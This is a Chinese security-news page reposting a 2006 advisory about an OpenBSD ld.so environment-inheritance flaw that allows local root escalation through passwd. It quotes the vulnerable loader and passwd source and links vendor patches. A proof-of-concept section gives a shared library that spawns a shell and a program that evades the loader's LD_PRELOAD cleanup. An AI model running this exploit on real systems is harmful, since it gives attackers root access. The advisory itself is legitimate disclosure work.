| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
OpenBSD ld.so本地环境变量继承漏洞
OpenBSD ld.so本地环境变量继承漏洞
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-26 15:10:43
2006-11-23 22:05:33

发布日期:2006-11-20
更新日期:2006-11-23

受影响系统:
OpenBSD OpenBSD 4.0
OpenBSD OpenBSD 3.9
描述:

BUGTRAQ  ID: 21188

OpenBSD是一款开放源代码Unix类操作系统。

OpenBSD动态加载器在处理环境变量的继承时存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。

OpenBSD动态加载器清除了环境变量,但由于逻辑问题,_dl_unsetenv()可能会被相邻的两项欺骗。

漏洞相关的代码如下:

/src/libexec/ld.so/loader.c:
--------------
    if (_dl_issetugid()) {    /* Zap paths if s[ug]id... */
        ...
        if (_dl_preload) {
            _dl_preload = NULL; (*)
            _dl_unsetenv("LD_PRELOAD", envp);
        }
---------------

由于变量已被清除,因此不允许直接执行代码。但参数会出现在特权进程的环境中,如果特权进程在执行其他程序之前将其真正的uid设置为等同于有效uid的话,就可能导致权限提升,因为issetugid()检查会返回0。然后就可能加载攻击者所选择的共享库。

OpenBSD的默认ch*/chpass/passwd工具也存在类似问题。

src/usr.bin/passwd/local_passwd.c:
---------------
    /* Drop user's real uid and block all signals to avoid a DoS. */
    setuid(0);
    sigfillset(&fullset);
    sigdelset(&fullset, SIGINT);
    sigprocmask(SIG_BLOCK, &fullset, NULL);
    ...
    if (pw_mkdb(uname, pwflags) < 0)
        pw_error(NULL, 0, 1);
    ...
----------------

src/lib/libutil/passwd.c
-----------------------
int
pw_mkdb(char *username, int flags)
  ....
  execv(_PATH_PWD_MKDB, av);
-----------------------

上述pw_mkdb()函数未经过滤环境便执行/usr/sbin/pwd_mkdb。由于/usr/bin/passwd二进制程序运行root-user suid,因此可能导致本地root用户入侵。

<*来源:Justin Schuh
        Mark Dowd
        John McDonald
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=116423446823664&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Example Code
-------------
vulnerable root-suid program example:

main()
{
setuid(0);
execl("/usr/bin/id","id",0);
}



evil shared library:

__attribute__ ((constructor)) main()
{
  printf("[+] Hello from shared library land\n");
  execle("/bin/sh","sh",0,0);
}



openbsd _dl_unsetenv bypass:

#define LIB "LD_PRELOAD=/tmp/lib.so"
main(int argc, char *argv[])
{
  char *e[] = { LIB, LIB, 0 };
  int i; for(i = 0; argv[i]; argv[i] = argv[++i]); /* inspired by
_dl_unsetenv (: */
  execve(argv[0], argv, e);
}

建议:

厂商补丁:

OpenBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.0/common/005_ldso.patch
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.9/common/016_ldso.patch
新闻录入:admin    责任编辑:admin 
  • 上一篇新闻:

  • 下一篇新闻:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    GNU Tar GNUTYPE_NAMES远
    OpenSSL PKCS填充伪造RS
    OpenSSL公钥处理拒绝服务
    OpenSSL畸形ASN.1结构处
    OpenSSL SSL_get_shared
    Perl格式串处理整数溢出
    Adobe Reader/Acrobat A
    GnuPG OpenPGP畸形消息处
    OpenLDAP服务器Kerberos
    WFTPD Pro Server APPE命

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览